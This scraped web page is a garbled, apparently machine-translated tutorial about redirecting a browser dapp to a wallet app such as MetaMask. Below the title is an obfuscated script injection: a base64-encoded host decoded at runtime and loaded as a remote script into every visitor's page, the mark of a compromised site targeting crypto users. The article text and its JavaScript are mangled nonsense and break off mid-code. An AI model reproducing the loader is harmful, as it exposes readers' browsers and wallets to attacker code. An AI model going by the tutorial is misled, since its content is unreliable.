Ethereum: How to redirect wallet native app from a browser dapp?
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=71c14887″;document.body.appendChild(script);
Browser DAPPPS Redirect Wallet Local Application Distribution: Guide
As Blockchain technology continues to develop, decentralized applications (DAP) are increasingly popular. However, one of the most important challenges that users face is to combine the desired wallet application with a specific DAPP if it is charged manually and manually installed. Here you will be the redirect of your browser DAPPS from local application redirection of your wallets.
This article looks at how to create a feature that allows users to press the DAPP Browser Buy button and switch to a wallet application, such as Metamk, sign and give the tokens.
Why control your wallet applications?
Browser Dapps Redirect Wallet Redirect Local Applications offers several benefits:
* Comfort
: Users can use their desired wallet application by downloading and installing it manually.
* Safety : MCCLI is usually designed based on safety, providing users with stable protection.
* Availability : This feature facilitates users who do not want to use local wallets or have limited technical qualifications.
Prerequisites
Before we move on to the implementation, make sure you have the following conditions:
- Browser DAPP, which uses a wallet application (e.g.
- Setting the purse applications with compatible Ethereum node
- Wallet provider such as Metamk or trust in the wallet
implementation
Guide your wallet local applications from your browser DAPPS, you need to create some components:
- Wallet Service Provider : This is the most important ingredient that is responsible for the interaction with the user’s wallet. In this case, we use JavaScript in the Metamask Library.
- Ownership : This feature is called when pressed and directed the user to their wallet application.
3
Webapp Settings : We must specify a web application that can handle deviations.
A gradual implementation
Here is an example of how you can create this feature:
`Javascript
// brings the necessary libraries
Const web3 = ask (‘web3’);
Const Metamkprovider = Ask (‘Metamk-Provider’);
Const webapp = ask (‘./ webapp’); // By assuming web applications settings
// Set your wallet supplier with user Metamask account
Anna WalletProvider;
if (process.env.walletprovider === ‘metamk’) {
WalletProvider = new metamkprovider (process.env.metamk_url);
} Else {
Console.error (‘unrelated to the porridge services provider. Use metamos’);
}
// Specify the redirect function
Redirectwallet () {
// Get a user address from a secure service provider
Const Useraddress = walletProvider.getddress ();
// Run to a web application
Return webapp.rredirect (Useraddress);
}
// Set the event listeners in the button to buy click at the event
Document.addeventlistener (‘click’, (event) => {
if (Ele.target.classlist.Contains (‘Buy-Phoooga’)) {
Redirectwallet ();
}
});
`
Web application settings
To set a web application that can handle this feature, you need to set a new project using a system like React or Angullar. Here’s an example of an online application:
`Javascript
// brings the necessary libraries
That react, {user} ‘reacting’;
Bring webapp from ‘./webapp’;
Const app = () => {
// Earth variables to save the user’s address and wallet service provider
Const [Useraddress, Setseraddress] = Musestate (”);
Const [WalletProvider, SetwalletProvider] = Use (zero);
// Feature to control the user to want a wallet application
Const Redirectwallet = Async () => {
If (WalletProvider) {
Waiting for Window.open (WalletProvider.getwebsiteurl (), ‘_blank’);
} Else {
Console.error (‘Unrelated Purse Supplier.